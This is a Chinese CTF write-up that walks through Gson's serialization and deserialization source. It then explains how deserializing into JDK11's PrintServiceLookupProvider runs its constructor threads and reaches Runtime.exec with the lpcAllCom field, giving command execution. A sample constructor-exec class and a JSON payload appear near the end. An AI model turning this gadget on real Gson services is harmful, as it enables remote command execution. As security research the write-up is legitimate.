java Gson

概述

Gson 是⼀个 Java 库,可⽤于将 Java 对象转换为其 JSON 表⽰形式。它还可⽤于将 JSON 字符串转换为等效的 Java 对象

Gson 可以处理任意 Java 对象,包括您没有源代码的预先存在的对象

用户⼿册:https://github.com/google/gson/blob/main/UserGuide.md

环境

JDK:11.0.19
Gson:2.10.1

序列化和反序列化

使用

最主要的是使⽤Gson这个类,你可以通过new Gson() 来实例化这个类。还有⼀个 GsonBuilder类,可⽤于创建具有各种设置(如版本控制等)的 Gson 实例。

1
Gson gson=new Gson();

序列化 Gson

提供toJson⽅法来进⾏序列化 gson.toJson(new Person(“nivia”, “18”)) 反序列化 Gson提供fromJson⽅法来进⾏反序列化,它不像fastjson可以通过@type来判断实例化类 类型,Gson需要直接提供实例化类型的Clas作为类型判断

gson.fromJson("Json",Person.class)

源码分析

序列化

在前⾯,通过些许尝试就可以发现,Gson是通过实例化触发对应构造⽅法来构造 Json,这⾥作详细分析 这⾥测试的类直接⽤N1CTF中的Person类

gson.toJson(new Person("baicany", "18"))

1
2
3
4
5
6
public String toJson(Object src) {
if (src == null) {
return toJson(JsonNull.INSTANCE);
}
return toJson(src, src.getClass());
}

先判断序列化对象是否为null,是null会给JsonNull这个对象,然后又进下个

如果不是,则会获取对应Class,然后调用另⼀个构造方法

跟进到另外一个构造方法方法

1
2
3
4
5
6
7
8
9
10
11
12
public void toJson(Object src, Type typeOfSrc, JsonWriter writer) throws JsonIOException {
@SuppressWarnings("unchecked")
TypeAdapter<Object> adapter = (TypeAdapter<Object>) getAdapter(TypeToken.get(typeOfSrc));
boolean oldLenient = writer.isLenient();
writer.setLenient(true);
boolean oldHtmlSafe = writer.isHtmlSafe();
writer.setHtmlSafe(htmlSafe);
boolean oldSerializeNulls = writer.getSerializeNulls();
writer.setSerializeNulls(serializeNulls);
try {
adapter.write(writer, src);
}

首先将对象类型Class封装进TypeToken对象后,调⽤ getAdapter⽅法获取TypeAdapter对象

跟进TypeAdapter对象

⾸先会去缓存中找,找到则直接返回对象

1
2
3
4
5
6
7
Objects.requireNonNull(type, "type must not be null");
TypeAdapter<?> cached = typeTokenCache.get(type);
if (cached != null) {
@SuppressWarnings("unchecked")
TypeAdapter<T> adapter = (TypeAdapter<T>) cached;
return adapter;
}

往下这段,这个获取当前线程map,如果为null就创建一个hashmap,如果不为null,然后再获取我们尝试获取我们存在线程存储的class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Map<TypeToken<?>, TypeAdapter<?>> threadCalls = threadLocalAdapterResults.get();
boolean isInitialAdapterRequest = false;
if (threadCalls == null) {
threadCalls = new HashMap<>();
threadLocalAdapterResults.set(threadCalls);
isInitialAdapterRequest = true;
}
else {
// the key and value type parameters always agree
@SuppressWarnings("unchecked")
TypeAdapter<T> ongoingCall = (TypeAdapter<T>) threadCalls.get(type);
if (ongoingCall != null) {
return ongoingCall;
}

下⾯进⾏threadLocalAdapterResults、threadCalls的存放

1
2
3
4
TypeAdapter<T> candidate = null;
try {
FutureTypeAdapter<T> call = new FutureTypeAdapter<>();
threadCalls.put(type, call);

然后就遍历factories,也即TypeAdapterFactory的实现类,遍历触发create⽅法

1
2
3
4
5
6
7
8
9
10
for (TypeAdapterFactory factory : factories) {
candidate = factory.create(this, type);
if (candidate != null) {
call.setDelegate(candidate);
// Replace future adapter with actual adapter
threadCalls.put(type, candidate);
break;
}
}
}

⽅法会返回⼀个TypeAdapter对象,跟进 ReflectiveTypeAdapterFactory对象其create⽅法

1
2
ObjectConstructor<T> constructor = constructorConstructor.get(type);
return new FieldReflectionAdapter<>(constructor, getBoundFields(gson, type, raw, blockInaccessible, false));

ConstructorConstructor#get⽅法下,会调⽤newDefaultConstructor⽅法

1
2
FilterResult filterResult = ReflectionAccessFilterHelper.getFilterResult(reflectionFilters, rawType);
ObjectConstructor<T> defaultConstructor = newDefaultConstructor(rawType, filterResult);

用来获取无参数构造方法,如果用就会用无参数构造方法实例化

1
2
3
4
5
try {
@SuppressWarnings("unchecked") // T is the same raw type as is requested
T newInstance = (T) constructor.newInstance();
return newInstance;
}

找不到则会往下调⽤newDefaultImplementationConstructor⽅法

ObjectConstructor<T> defaultImplementation = newDefaultImplementationConstructor(type, rawType);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
  if (Collection.class.isAssignableFrom(rawType)) {
if (SortedSet.class.isAssignableFrom(rawType)) {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new TreeSet<>();
}
};
} else if (Set.class.isAssignableFrom(rawType)) {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new LinkedHashSet<>();
}
};
} else if (Queue.class.isAssignableFrom(rawType)) {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new ArrayDeque<>();
}
};
} else {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new ArrayList<>();
}
};
}
}

if (Map.class.isAssignableFrom(rawType)) {
if (ConcurrentNavigableMap.class.isAssignableFrom(rawType)) {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new ConcurrentSkipListMap<>();
}
};
} else if (ConcurrentMap.class.isAssignableFrom(rawType)) {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new ConcurrentHashMap<>();
}
};
} else if (SortedMap.class.isAssignableFrom(rawType)) {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new TreeMap<>();
}
};
} else if (type instanceof ParameterizedType && !(String.class.isAssignableFrom(
TypeToken.get(((ParameterizedType) type).getActualTypeArguments()[0]).getRawType()))) {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new LinkedHashMap<>();
}
};
} else {
return new ObjectConstructor<T>() {
@Override public T construct() {
return (T) new LinkedTreeMap<>();
}
};
}
}

return null;
}

这里会判断是否是 map 集合等,是就会调用这些类的构造函数

再找不到,最后会调⽤newUnsafeAllocator⽅法

1
2
3
4
if (filterResult == FilterResult.ALLOW) {
// finally try unsafe
return newUnsafeAllocator(rawType);
}

⽅法通过unsafe实例化对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private <T> ObjectConstructor<T> newUnsafeAllocator(final Class<? super T> rawType) {
if (useJdkUnsafe) {
return new ObjectConstructor<T>() {
@Override public T construct() {
try {
@SuppressWarnings("unchecked")
T newInstance = (T) UnsafeAllocator.INSTANCE.newInstance(rawType);
return newInstance;
} catch (Exception e) {
throw new RuntimeException(("Unable to create instance of " + rawType + ". "
+ "Registering an InstanceCreator or a TypeAdapter for this type, or adding a no-args "
+ "constructor may fix this problem."), e);
}
}
};
}

上⾯的对象实例化均指ObjectConstructor被触发construct方法的时候

获取完ObjectConstructor后,先跟进getBoundFields⽅法

1
2
while (raw != Object.class) {
Field[] fields = raw.getDeclaredFields();

⽅法通过反射获取所有字段

然后通过ReflectionHelper.makeAccessible⽅法修改权限

1
2
3
if (!blockInaccessible && accessor == null) {
ReflectionHelper.makeAccessible(field);
}

然后获取属性类型和名字

1
2
Type fieldType = $Gson$Types.resolve(type.getType(), raw, field.getGenericType());
List<String> fieldNames = getFieldNames(field);

然后通过createBoundField⽅法获取BoundField对象

1
2
3
4
5
6
7
8
for (int i = 0, size = fieldNames.size(); i < size; ++i) {
String name = fieldNames.get(i);
if (i != 0) serialize = false; // only serialize the default name
BoundField boundField = createBoundField(context, field, accessor, name,
TypeToken.get(fieldType), serialize, deserialize, blockInaccessible);
BoundField replaced = result.put(name, boundField);
if (previous == null) previous = replaced;
}

⽅法内同样会触发Gson#getAdapter⽅法

1
if (mapped == null) mapped = context.getAdapter(fieldType);

这⾥的Adapter就像是序列化器⼀样,最后将将属性名跟对应的BoundField对象存放进result

1
2
type = TypeToken.get($Gson$Types.resolve(type.getType(), raw, raw.getGenericSuperclass()));
raw = type.getRawType();

然后获取⽗类继续获取,返回result,将这个result封装进了FieldReflectionAdapter对象里,也就是上⼀层的candidate它作为返回值作为adapter对象

1
2
3
try {
adapter.write(writer, src);
}

调⽤write方法执行序列化,beginObject⽅法开始写⼊

1
2
3
4
5
6
7
8
9
10
11
public JsonWriter beginObject() throws IOException {
writeDeferredName();
return open(EMPTY_OBJECT, '{');
}

private JsonWriter open(int empty, char openBracket) throws IOException {
beforeValue();
push(empty);
out.write(openBracket);
return this;
}

先写{,再遍历boundField

1
2
3
4
5
try {
for (BoundField boundField : boundFields.values()) {
boundField.write(out, value);
}
}

调⽤其write⽅法,利⽤反射获取值

1
2
3
else {
fieldValue = field.get(source);
}

后续会在TypeAdapterRuntimeTypeWrapper触发delegate变量的write⽅法,这⾥的 delegate变量就是上⾯经过存放的adapter对象

1
2
3
4
5
6
7
8
9
public JsonWriter value(String value) throws IOException {
if (value == null) {
return nullValue();
}
writeDeferredName();
beforeValue();
string(value);
return this;
}

其中writeDeferredName⽅法来写属性名,beforeValue加冒号,string(value)写值

总结:

⾸先是跟Adapter对象,自定义对象默认⽤FieldReflectionAdapter对象,然后属性 还原委派给TypeAdapterRuntimeTypeWrapper,它⼜会根据属性类型继续委派给对应 Adapter对象 序列化就是反射获取属性和值,然后写,过程并没有触发类的相关⽅法

反序列化

老样子先将Class封装进TypeToken,⼀直跟

1
2
3
4
5
6
try {
reader.peek();
isEmpty = false;
TypeAdapter<T> typeAdapter = getAdapter(typeOfT);
return typeAdapter.read(reader);
}

这里又会获取getAdapter,就又会像之前一样获取构造器类,返会getAdapter类

然后调⽤的是FieldReflectionAdapter#read⽅法

A accumulator = createAccumulator();

⾸先调⽤createAccumulator⽅法

1
2
3
T createAccumulator() {
return constructor.construct();
}

⽅法触发先前封装的ObjectConstructor对象的construct⽅法

也就是说,当对象所属类存在⽆参构造⽅法则通过⽆参构造⽅法进⾏实例化,否则通过 unsafe进⾏实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  try {
in.beginObject();
while (in.hasNext()) {
String name = in.nextName();
BoundField field = boundFields.get(name);
if (field == null || !field.deserialized) {
in.skipValue();
} else {
readField(accumulator, in, field);
}
}
catch (IllegalStateException e) {
throw new JsonSyntaxException(e);
} catch (IllegalAccessException e) {
throw ReflectionHelper.createExceptionForUnexpectedIllegalAccess(e);
}
in.endObject();
return finalize(accumulator);
}

紧接着为对象还原属性

最后通过反射为对象设置值

1
field.set(target, fieldValue);

漏洞利用

因为题目环境是19的,但是我是windows版的

利⽤unsafe的话会通过allocateInstance⽅法来实例化对象,这种实例化方式会⽆视构造方法直接实例化对象。

Hint:constructor → Runtim.getRuntime().exec()

1ue师傅提供了⼀种思路,⽆参构造⽅法如何想办法控制参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;
import java.io.IOException;
public class Bean{
private String name = "whoami";
public Bean(){
Thread thr = new Thread (() -> {
while (true){
try {
Runtime.getRuntime().exec(name);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
});
thr.setDaemon(true);
thr.start();
}
}

这个构造方法新建了⼀个线程,线程会反复执⾏外部参数的命令 在Gson反序列化中,会先执⾏这个构造⽅法,最后反射修改了Field后就能执⾏到恶意命 令 JDK11下,有⼀个sun.print.PrintServiceLookupProvider的类
我这里是windows版的,赛题是kali的

其无参构造方法会起2个线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public PrintServiceLookupProvider() {

if (win32PrintLUS == null) {
win32PrintLUS = this;

// start the local printer listener thread
Thread thr = new Thread(null, new PrinterChangeListener(),
"PrinterListener", 0, false);
thr.setDaemon(true);
thr.start();

// start the remote printer listener thread
Thread remThr = new Thread(null, new RemotePrinterChangeListener(),
"RemotePrinterListener", 0, false);
remThr.setDaemon(true);
remThr.start();
} /* else condition ought to never happen! */
}

默认win32PrintLUS就是为null

这⾥实例化了⼀个PrinterChangeListener内部类作为target,最后执⾏Thread#strat⽅法

1
2
3
4
try {
start0();
started = true;
}

方法会调⽤start0,start0是⼀个底层C实现的⽅法,他会触发Thread#run⽅法

1
2
3
4
5
public void run() {
if (target != null) {
target.run();
}
}

也就是执⾏PrinterChangeListener#run⽅法

1
2
3
4
5
6
private final class PrinterChangeListener implements Runnable {
@Override
public void run() {
notifyLocalPrinterChange(); // busy loop in the native code
}
}

发现会调用本地的方法

1
private native void notifyLocalPrinterChange();

而在linux中

image-20231103193218165

pollServices默认为true 这⾥实例化了⼀个PrinterChangeListener内部类作为target,最后执⾏Thread#strat⽅法

跟上面一样会调用run方法

image-20231103193306135

⽅法内同样⽤while true写死,调⽤refreshServices⽅法 CUPSPrinter.isCupsRunning⽅法指⽰CUPS是否正在运⾏。如果题⽬环境返回false,则 会⾛else语句

image-20231103193359913

⽅法下会根据操作系统执⾏对应⽅法,Liunx下的话会调⽤getAllPrinterNamesBSD⽅法

image-20231103193421748

⽅法下的execCmd会执⾏命令

1
proc=Runtime.getRuntime().exec(cmd);

这⾥这种利⽤思路同上述事例,这⾥会起⼀个内部类作为新线程,拼接外部类的成员变量 进⾏命令执⾏

1
2
3
4
5
6
{
"lpcAllCom": [
"shell"
"shell"
]
}

这⾥为什么要写两个,原因可能如下

image-20231103194224365